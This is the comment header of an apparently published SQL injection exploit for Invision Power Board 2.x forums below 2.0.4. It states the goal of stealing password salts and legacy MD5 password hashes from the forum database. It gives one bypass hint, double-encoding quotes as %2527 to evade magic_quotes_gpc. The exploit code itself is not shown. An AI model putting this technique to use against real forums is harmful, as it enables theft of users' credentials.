## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. 
## for stealing converge_pass_salt value from ipb database 
## on some ipb forums it steals the legacy_password which is the first md5 
## hash of the target password. 
## vulnerable forum versions : 2.* (<2.0.4) 
## tested on version 2.0.2 
## * work on mysql 4.0, 4.1 versions 
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
